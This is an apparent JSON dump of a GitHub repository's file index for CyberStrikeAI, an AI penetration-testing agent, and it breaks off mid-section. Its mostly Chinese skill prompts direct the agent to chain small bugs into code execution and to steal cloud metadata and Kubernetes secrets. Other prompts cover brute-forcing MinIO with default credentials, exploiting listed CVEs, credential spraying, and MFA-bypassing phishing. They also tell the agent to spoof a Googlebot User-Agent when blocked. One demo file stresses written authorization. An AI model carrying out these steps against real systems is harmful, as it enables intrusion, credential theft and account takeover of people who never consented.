GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/attack-surface-enumeration.md)","tokens":300,"sizeBytes":213},{"name":"cleanup-rollback.md","path":"agents/cleanup-rollback.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/cleanup-rollback.md","title":"Subagent: cleanup-rollback","category":"subagent-persona","format":"markdown","content":"# Subagent: cleanup-rollback\n\nPath: `agents/cleanup-rollback.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/cleanup-rollback.md)","tokens":300,"sizeBytes":183},{"name":"engagement-planning.md","path":"agents/engagement-planning.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/engagement-planning.md","title":"Subagent: engagement-planning","category":"subagent-persona","format":"markdown","content":"# Subagent: engagement-planning\n\nPath: `agents/engagement-planning.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/engagement-planning.md)","tokens":300,"sizeBytes":192},{"name":"impact-exfiltration.md","path":"agents/impact-exfiltration.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/impact-exfiltration.md","title":"Subagent: impact-exfiltration","category":"subagent-persona","format":"markdown","content":"# Subagent: impact-exfiltration\n\nPath: `agents/impact-exfiltration.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/impact-exfiltration.md)","tokens":300,"sizeBytes":192},{"name":"intel-collection.md","path":"agents/intel-collection.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/intel-collection.md","title":"Subagent: intel-collection","category":"subagent-persona","format":"markdown","content":"# Subagent: intel-collection\n\nPath: `agents/intel-collection.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/intel-collection.md)","tokens":300,"sizeBytes":183},{"name":"lateral-movement.md","path":"agents/lateral-movement.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/lateral-movement.md","title":"Subagent: lateral-movement","category":"subagent-persona","format":"markdown","content":"# Subagent: lateral-movement\n\nPath: `agents/lateral-movement.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/lateral-movement.md)","tokens":300,"sizeBytes":183},{"name":"opsec-evasion.md","path":"agents/opsec-evasion.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/opsec-evasion.md","title":"Subagent: opsec-evasion","category":"subagent-persona","format":"markdown","content":"# Subagent: opsec-evasion\n\nPath: `agents/opsec-evasion.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/opsec-evasion.md)","tokens":300,"sizeBytes":174},{"name":"orchestrator-plan-execute.md","path":"agents/orchestrator-plan-execute.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/orchestrator-plan-execute.md","title":"Subagent: orchestrator-plan-execute","category":"subagent-persona","format":"markdown","content":"# Subagent: orchestrator-plan-execute\n\nPath: `agents/orchestrator-plan-execute.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/orchestrator-plan-execute.md)","tokens":300,"sizeBytes":210},{"name":"orchestrator-supervisor.md","path":"agents/orchestrator-supervisor.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/orchestrator-supervisor.md","title":"Subagent: orchestrator-supervisor","category":"subagent-persona","format":"markdown","content":"# Subagent: orchestrator-supervisor\n\nPath: `agents/orchestrator-supervisor.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/orchestrator-supervisor.md)","tokens":300,"sizeBytes":204},{"name":"orchestrator.md","path":"agents/orchestrator.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/orchestrator.md","title":"Subagent: orchestrator","category":"subagent-persona","format":"markdown","content":"# Subagent: orchestrator\n\nPath: `agents/orchestrator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/orchestrator.md)","tokens":300,"sizeBytes":171},{"name":"penetration.md","path":"agents/penetration.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/penetration.md","title":"Subagent: penetration","category":"subagent-persona","format":"markdown","content":"# Subagent: penetration\n\nPath: `agents/penetration.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/penetration.md)","tokens":300,"sizeBytes":168},{"name":"persistence-maintenance.md","path":"agents/persistence-maintenance.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/persistence-maintenance.md","title":"Subagent: persistence-maintenance","category":"subagent-persona","format":"markdown","content":"# Subagent: persistence-maintenance\n\nPath: `agents/persistence-maintenance.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/persistence-maintenance.md)","tokens":300,"sizeBytes":204},{"name":"privilege-escalation.md","path":"agents/privilege-escalation.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/privilege-escalation.md","title":"Subagent: privilege-escalation","category":"subagent-persona","format":"markdown","content":"# Subagent: privilege-escalation\n\nPath: `agents/privilege-escalation.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/privilege-escalation.md)","tokens":300,"sizeBytes":195},{"name":"recon.md","path":"agents/recon.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/recon.md","title":"Subagent: recon","category":"subagent-persona","format":"markdown","content":"# Subagent: recon\n\nPath: `agents/recon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/recon.md)","tokens":300,"sizeBytes":150},{"name":"reporting-remediation.md","path":"agents/reporting-remediation.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/reporting-remediation.md","title":"Subagent: reporting-remediation","category":"subagent-persona","format":"markdown","content":"# Subagent: reporting-remediation\n\nPath: `agents/reporting-remediation.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/reporting-remediation.md)","tokens":300,"sizeBytes":198},{"name":"vulnerability-triage.md","path":"agents/vulnerability-triage.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/vulnerability-triage.md","title":"Subagent: vulnerability-triage","category":"subagent-persona","format":"markdown","content":"# Subagent: vulnerability-triage\n\nPath: `agents/vulnerability-triage.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/agents/vulnerability-triage.md)","tokens":300,"sizeBytes":195}],"systemPromptSnippet":"<yakaai_skills repo=\"Ed1s0nZ/CyberStrikeAI\">\n<!-- File: mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md (Tokens: ~300 | Category: anthropic-skill) -->\n# find-skills\n\nPath: `mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/mcp-servers/pent_claude_agent/.claude/skills/find-skills/SKILL.md)\n\n<!-- File: plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json (Tokens: ~300 | Category: anthropic-skill) -->\n# Cyberstrikeai-browser-extension Skill\n\nPath: `plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/manifest.json)\n\n<!-- File: plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md (Tokens: ~300 | Category: anthropic-skill) -->\n# Cyberstrikeai-browser-extension Skill\n\nPath: `plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/browser-extension/cyberstrikeai-browser-extension/README.zh-CN.md)\n\n<!-- File: plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md (Tokens: ~300 | Category: anthropic-skill) -->\n# Cyberstrikeai-burp-extension Skill\n\nPath: `plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/plugins/burp-suite/cyberstrikeai-burp-extension/README.zh-CN.md)\n\n<!-- File: skills/active-directory-attack/SKILL.md (Tokens: ~300 | Category: anthropic-skill) -->\n# active-directory-attack\n\nPath: `skills/active-directory-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/active-directory-attack/SKILL.md)\n\n<!-- File: skills/ai-llm-app-attack/SKILL.md (Tokens: ~300 | Category: anthropic-skill) -->\n# ai-llm-app-attack\n\nPath: `skills/ai-llm-app-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/ai-llm-app-attack/SKILL.md)\n\n<!-- File: skills/attack-surface-recon/SKILL.md (Tokens: ~300 | Category: anthropic-skill) -->\n# attack-surface-recon\n\nPath: `skills/attack-surface-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/attack-surface-recon/SKILL.md)\n\n<!-- File: skills/binary-mobile-reversing/SKILL.md (Tokens: ~300 | Category: anthropic-skill) -->\n# binary-mobile-reversing\n\nPath: `skills/binary-mobile-reversing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/binary-mobile-reversing/SKILL.md)\n\n<!-- File: skills/blockchain-contract-attack/SKILL.md (Tokens: ~341 | Category: anthropic-skill) -->\n---\nname: blockchain-contract-attack\ndescription: >-\n  区块链/智能合约:Etherscan,slither/mythril,重入/访问控制/预言机/闪电贷,跨链桥,RPC暴露。Use when auditing smart contracts, DeFi, or blockchain attack surfaces.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 区块链 / 智能合约\n\n```\n=== 区块链/智能合约 ===\n源码: Etherscan getsourcecode API | 审计 slither/mythril/manticore\n手工: 重入(.call{value}先转账后改状态违反C-E-I) | 访问控制(onlyOwner缺失) | 整数溢出(<0.8无SafeMath)\n  预言机操纵(闪电贷瞬时操纵AMM价格) | 随机数(block.timestamp可控) | 授权滥用(无限approve/permit重放) | delegatecall代理storage冲突\nDeFi: 闪电贷攻击/三明治(抢跑)/治理攻击/签名重放 | 跨链桥:签名阈值绕过/重放 | RPC:暴露8545直接eth_sendTransaction\n```\n\n<!-- File: skills/capability-primitive-search/SKILL.md (Tokens: ~1620 | Category: anthropic-skill) -->\n---\nname: capability-primitive-search\ndescription: >-\n  能力原语+状态空间搜索:read/write/exec/ssrf等原语凑RCE等式A-F,低危映射,正反向搜索,跨域兑现。Use when no single RCE, chaining low-severity vulns, or deriving novel attack chains.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 能力原语 + 状态空间搜索\n\n```\n心法: RCE不是一个\"漏洞\",是一组\"能力\"凑齐后的涌现。没单点大洞时,几个info级/低危照样拼出代码执行。\n  固有思维(要打破): \"扫不到RCE/反序列化/上传→这站打不动了\"。你的活不是\"找RCE漏洞\",是\"凑齐执行所需的原语\"。\n  把每个Fact抽象成能力原语(不记\"发现X漏洞\",记\"现在拥有什么能力+限制\"):\n    read(path) write(path) exec(cmd) ssrf(url) sqli redirect(url) eval_expr idor(id) cred(svc,priv) coerce_auth write_acl\n\nRCE只需满足任意一条等式,拆成可获取的原语去凑:\n  A. 能写文件 + 文件被当代码执行                = RCE\n  B. 能控配置/env + 配置指向你的代码            = RCE\n  C. 能进管理面 + 面板自带执行功能              = RCE(不是漏洞,是功能!)\n  D. 有凭据 + 服务有合法执行入口                = RCE(滥用合法功能)\n  E. 能任意读 + 读到凭据 + 凭据可登录执行点      = RCE\n  F. 能控数据 + 数据流入危险sink(eval/模板/SQL) = RCE\n\n低危→原语映射(把\"鸡肋漏洞\"翻译成拼图碎片):\n  info泄露(.git/备份/堆栈)→源码/路径/密钥→喂B/E/F | LFI/任意读→读配置密钥→E,或日志投毒→A\n  SSRF(哪怕只GET)→打内网Redis/Consul/K8s/云元数据→C; 云元数据拿临时凭据→D\n  弱/默认/复用凭据→进带任务/插件/webhook/CI功能的后台→C | CORS/CSRF/XSS→借管理员浏览器调执行类功能→C\n  可控上传(哪怕限扩展名)→配路径穿越/解析差异/.htaccess→A | 配置写入→改模板/日志/连接串→B\n  SQLi(哪怕只读)→读hash/密钥→E,或OUTFILE→A | 模板可控→SSTI→F | 原型污染→污染下游属性→F\n\n状态空间搜索(无现成链时自己搜): 状态=当前能力集, 动作=用能力解锁新能力, 目标=Goal。\n  正向: 对每个能力问\"能解锁什么?\"; 对每对能力问\"组合出什么?\"\n    (read+write=改配置; ssrf+内网redis=RCE; sqli+FILE=webshell; coerce_auth+relay=域SYSTEM; idor+massassign=改他人admin)\n  反向(卡住时主用): 锁定Goal=执行命令→选最接近现状的等式当模板→缺哪个原语设为子目标→\n    手上哪个低危/功能/info泄露能凑出它?→凑不出递归拆/换等式 → 正反向在中间相遇=完整链浮现 → 逐段验证\n\n突破口(看到别走开):\n  ·\"功能即原语\": 后台的任务计划/插件/模板编辑/SQL控制台/文件管理器/导入导出/webhook —— 合法功能但登进去就是现成执行/读写原语。渗透者眼里没\"功能/漏洞\"之分,只有\"能力\"。\n  ·跨协议跳跃: SSRF的gopher/dict/file把\"只能发HTTP\"变成\"打Redis/发SMTP/读文件\"。\n  ·凭据复用是万能胶: 任意一处拿到的密码/key默认全网复用全部喷一遍。横向常比纵向快。\n  ·解析差异: 上传校验/路由/反代三方理解不一致→缝隙里有绕过(双扩展名/编码/Host混淆)。\n  ·时间维度: TOCTOU/token可预测/缓存投毒,把\"偶尔\"变\"稳定\",把不可利用变可利用。\n  ·跨域兑现: 每拿一个能力问\"它在别的域值多少钱\"——能力是通用货币。Web SSRF→进云元数据接管账户; APK硬编码→直连内部API绕前端鉴权; 供应链→拿CI密钥进生产。\n  ·创造模式(已知组合用尽时): 重审能力边界(只能读/var/log? /proc/self/environ呢) | 找等价RCE的sink(写crontab/.bashrc/CI配置/LD_PRELOAD/authorized_keys/systemd unit都=RCE) | 信息(报错/时序/响应长度)当侧信道 | 假设取反:列\"我以为不可能\"逐条问\"凭什么不可能\"\n> 推导出的链是假设(可 tentative 记 note/chain),实际执行+证据后才写 confirmed Fact / record_vulnerability。整条链每步都验证过才成立。\n```\n\n<!-- File: skills/cloud-attack-methods/SKILL.md (Tokens: ~1423 | Category: anthropic-skill) -->\n---\nname: cloud-attack-methods\ndescription: >-\n  云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 云攻击手法\n\n```\n=== 云 ===\n元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200\n对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin\n🚨云身份攻击(拿到key/token后的提权横向):\n  AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥\n  Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥\n  Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向\n  GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举\n🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS\n🚨MinIO攻击矩阵:\n  指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console)\n  Console爆破: POST http://IP:9001/api/v1/login body={\"accessKey\":\"minioadmin\",\"secretKey\":\"minioadmin\"} | 403=\"invalid Login\"\n  STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置\n  CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY)\n  CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用)\n  匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁\n  上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir)\n  扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行\n🚨阿里云FC函数(fcapp.run)枚举:\n  识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless)\n  特征: POST返回\"unauthorized method 'POST'\"(405) = 只接受GET | 200+{\"code\":200,\"msg\":\"Forbidden\"} = 路径存在但缺参数\n  利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法)\n  枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback)\n  路径穿越: FC正确规范化(../无效),但可枚举不同function路径\n  CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露\"denied by req auth\"\n  FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com)\n🚨橙子建站(ChengZi SDK)解密:\n  初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64)\n  解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash)\n  d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护\n  关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL\n```\n\n<!-- File: skills/component-vuln-intel/SKILL.md (Tokens: ~1611 | Category: anthropic-skill) -->\n---\nname: component-vuln-intel\ndescription: >-\n  联网情报收集:识别组件后必做CVE/搜索引擎/中文社区/GitHub PoC/资产引擎/即时情报/依赖扩展+受阻换路。Use when a framework/component/version is identified and must search before exploit.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 联网情报收集（识别组件→立即全网搜；结果=线索/tentative，验证前不是 confirmed Fact）\n\n```\n🔴一识别出框架/组件/版本 → 必须停本地扫描立即联网(不搜就利用=盲打=违反铁律)。\n🔴以下序列全部执行(不是选做),用{C}=组件名 {V}=版本替换。每步都用browser_navigate或terminal实际访问:\n\n1.CVE漏洞库(必做,找已知漏洞):\n  terminal: searchsploit {C} {V}\n  terminal: curl -s \"https://cve.circl.lu/api/search/{C}/{V}\" | python3 -c \"import sys,json;[print(x['id'],x.get('summary','')[:80]) for x in json.load(sys.stdin)[:10]]\"\n  browser_navigate: https://github.com/advisories?query={C}+{V}\n  browser_navigate: https://www.cvedetails.com/google-search-results.php?q={C}+{V}&sa=Search\n\n2.搜索引擎(至少执行3个,找漏洞分析+PoC):\n  browser_navigate: https://www.google.com/search?q={C}+{V}+exploit+PoC+RCE+site:github.com\n  browser_navigate: https://www.google.com/search?q={C}+{V}+漏洞+利用+复现\n  browser_navigate: https://www.baidu.com/s?wd={C}+{V}+漏洞+利用+poc+getshell\n  browser_navigate: https://www.bing.com/search?q={C}+{V}+CVE+exploit+poc\n  browser_navigate: https://duckduckgo.com/?q={C}+{V}+vulnerability+exploit\n\n3.中文安全社区(必做,中文首发多且深度分析好):\n  browser_navigate: https://xz.aliyun.com/search?keyword={C}+漏洞\n  browser_navigate: https://www.seebug.org/search/?keywords={C}\n  browser_navigate: https://paper.seebug.org/search/?keyword={C}\n  browser_navigate: https://www.freebuf.com/search?search={C}+{V}\n  browser_navigate: https://ti.qianxin.com/vulnerability?keyword={C}\n  browser_navigate: https://www.anquanke.com/search?s={C}\n\n4.GitHub搜PoC/exploit代码(必做,最直接拿利用代码):\n  terminal: curl -s \"https://api.github.com/search/repositories?q={C}+{V}+exploit+OR+poc+OR+CVE&sort=updated&per_page=10\" | python3 -c \"import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['html_url'],x.get('description','')[:60]) for x in d.get('items',[])]\"\n  terminal: curl -s \"https://api.github.com/search/code?q={C}+RCE+OR+shell+OR+exploit+language:python&per_page=5\" | python3 -c \"import sys,json;d=json.load(sys.stdin);[print(x['html_url']) for x in d.get('items',[])]\"\n  terminal: curl -s \"https://api.github.com/search/repositories?q={C}+CVE&sort=stars&per_page=5\" | python3 -c \"import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['stargazers_count'],'★',x.get('description','')[:50]) for x in d.get('items',[])]\"\n  找到仓库后: curl -s \"https://api.github.com/repos/{owner}/{repo}/readme\" | python3 -c \"import sys,json,base64;print(base64.b64decode(json.load(sys.stdin)['content']).decode())\"\n\n5.资产引擎(找同类目标/暴露面):\n  browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'app=\"{C}\"' | base64)\n  browser_navigate: https://www.shodan.io/search?query={C}+{V}\n  browser_navigate: https://www.zoomeye.org/searchResult?q={C}\n  browser_navigate: https://search.censys.io/search?resource=hosts&q=services.software.product:{C}\n\n6.即时情报(最新0day/在野利用):\n  browser_navigate: https://x.com/search?q={C}+CVE+OR+0day+OR+exploit&f=live\n  browser_navigate: https://www.reddit.com/r/netsec/search/?q={C}&sort=new&t=month\n  browser_navigate: https://www.exploit-db.com/search?q={C}\n\n7.扩展链(必做): 搜完{C}后,提取其依赖清单(package.json/pom.xml/requirements.txt/go.mod)→对每个依赖重复1-6\n\n🔴搜索受阻处理序列(碰到403/验证码/空结果/超时→按序执行不放弃):\n  ①换UA: curl -H \"User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\" \"{URL}\"\n  ②Jina读取器: browser_navigate: https://r.jina.ai/{原始URL}\n  ③Google缓存: browser_navigate: https://webcache.googleusercontent.com/search?q=cache:{域名}+{关键词}\n  ④Archive: browser_navigate: https://web.archive.org/web/{URL}\n  ⑤GitHub API替代(GitHub页面拦但API不拦): 用上面第4步的curl命令\n  ⑥换引擎: Google拦→执行Bing/DuckDuckGo/百度; 百度拦→执行Google/Bing\n  ⑦走代理: 按 `proxy-tool-bootstrap` 序列获取SOCKS5代理后重试\n  全部受阻仍无结果→写负Fact\"已搜{C} {V}全渠道无公开漏洞\"→转 `zero-day-discovery`\n```\n\n<!-- File: skills/cyberstrike-eino-demo/FORMS.md (Tokens: ~300 | Category: anthropic-skill) -->\n# Cyberstrike-eino-demo Skill\n\nPath: `skills/cyberstrike-eino-demo/FORMS.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/FORMS.md)\n\n<!-- File: skills/cyberstrike-eino-demo/REFERENCE.md (Tokens: ~300 | Category: anthropic-skill) -->\n# Cyberstrike-eino-demo Skill\n\nPath: `skills/cyberstrike-eino-demo/REFERENCE.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/REFERENCE.md)\n\n<!-- File: skills/cyberstrike-eino-demo/references/citations.md (Tokens: ~300 | Category: anthropic-skill) -->\n# References Skill\n\nPath: `skills/cyberstrike-eino-demo/references/citations.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/references/citations.md)\n\n<!-- File: skills/cyberstrike-eino-demo/scripts/report-snippet.json (Tokens: ~300 | Category: anthropic-skill) -->\n# Scripts Skill\n\nPath: `skills/cyberstrike-eino-demo/scripts/report-snippet.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/cyberstrike-eino-demo/scripts/report-snippet.json)\n\n<!-- File: skills/cyberstrike-eino-demo/SKILL.md (Tokens: ~1225 | Category: anthropic-skill) -->\n---\nname: cyberstrike-eino-demo\ndescription: 满配示例技能包：SKILL.md + scripts/、references/、assets/ 等可选目录；验证 Eino skill 与 HTTP 包内路径（仅授权安全测试与教学）。\n---\n\n# CyberStrike × Eino 满配技能演示\n\n本包与 [Agent Skills](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview) 一致：**`SKILL.md` 为清单 + 主说明**（无单独 `SKILL.yaml`）。同目录可有 **`scripts/`**、**`references/`**、**`assets/`** 等任意子目录（只要路径安全、未触达包深度/文件数上限），由 **`ListPackageFiles` / `resource_path`** 与 Eino 本机工具读取。补充说明见 `FORMS.md`、`REFERENCE.md`。\n\n## 概述\n\n用于一次性验证：\n\n- HTTP `GET /api/skills` 列表（`script_count`、`file_count`、`progressive` 等为推导/扫描结果）\n- `GET /api/skills/cyberstrike-eino-demo?depth=summary|full`\n- `section=` 对应 `SKILL.md` 中 **`##` 标题**或 ASCII 标题的短 id（例如 `## Payload 样例` 常对应 `section=payload`）\n- 多代理内 ADK **`skill`** 工具（及可选本机文件工具）读取包内相对路径资源\n- Eino `FilesystemSkillsRetriever` 对包摘要、`##` 分块、脚本条目的检索\n\n**硬性要求**：任何测试须取得书面授权，并限定在约定范围与时间窗口内。\n\n## 授权测试工作流\n\n1. **范围确认**：域名 / IP、接口列表、禁止动作（DoS、数据拖库等）。\n2. **基线记录**：对约定资产做只读探测，保存时间戳与原始请求/响应摘要。\n3. **分类测试**：按漏洞类型拆分任务；高风险操作前二次确认授权边界。\n4. **证据与报告**：每个发现附带复现步骤、影响、修复建议；敏感数据脱敏。\n5. **收尾**：删除临时账号、清理测试数据、移交报告。\n\n## Payload 样例\n\n以下为 **教学占位**，实际测试需替换为目标上下文且不得用于未授权系统：\n\n- SQLi 探测（错误型）：`\"'`（观察是否触发数据库错误信息泄露）\n- XSS 反射型（无害化）：`<script>alert(1)</script>` → 在靶场中应被编码或 CSP 拦截\n- 路径穿越（只读验证）：`....//....//etc/passwd`（仅在授权文件读取场景）\n\n详细列表见 `scripts/payloads.txt`。\n\n## references/ 与 assets/\n\n用于验证非 `scripts/` 的子目录是否被同等对待：\n\n| 路径 | 用途 |\n|------|------|\n| `references/citations.md` | 引用与 HTTP `resource_path` 测试说明 |\n| `assets/README.txt` | 占位资源（可换成真实二进制做读文件上限测试） |\n\n## 推荐工具链\n\n| 阶段 | 工具示例 |\n|------|-----------|\n| 代理与重放 | Burp Suite、mitmproxy |\n| 扫描与目录 | ffuf、nuclei（需调低并发遵守授权） |\n| 漏洞验证 | 自写 PoC、官方 CLI（sqlmap 等）仅在授权范围内 |\n| 记录 | Markdown + JSON 片段模板（见 `scripts/report-snippet.json`） |\n\n## 清单与验证\n\n- [ ] 已保存书面授权与测试窗口\n- [ ] `scripts/` 下文件与正文引用一致\n- [ ] Web 或 `GET /api/skills?...` 可核对索引；多代理会话内用 **`skill`** 工具按包加载以节省 token\n- [ ] 需要细节时通过 **`skill`** 拉全文，或 HTTP `depth=full`、`section=<标题或短 id>`\n- [ ] 需要脚本原文时通过本机文件工具或 HTTP `resource_path=scripts/check-env.sh`\n- [ ] `resource_path=references/citations.md` 与 `resource_path=assets/README.txt` 可读取\n\n<!-- File: skills/initial-access-phishing/SKILL.md (Tokens: ~532 | Category: anthropic-skill) -->\n---\nname: initial-access-phishing\ndescription: >-\n  初始访问/钓鱼/社工:凭据喷洒,AiTM,设备码,OAuth同意钓鱼,载荷,vishing。Use when needing initial access, phishing, AiTM, device code, or social engineering.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 初始访问 / 钓鱼 / 社工\n\n```\n=== 初始访问/钓鱼/社工(外部进内部第一跳,打点前的打点) ===\n凭据喷洒: 弱密码(Season+Year!/公司名123)喷全体账号(每账号1-2次避锁定) | 来源:泄露库/OSINT邮箱格式(f.last@)/默认凭据\nAiTM钓鱼(绕MFA): evilginx3/Modlishka反代真站→中间人偷session cookie+token(绕MFA) | phishlet配域名+证书\n设备码钓鱼(Azure/M365): device code flow→诱导受害者输码→拿access/refresh token(无需密码/MFA) | TokenTactics/AADInternals\n钓鱼载荷: 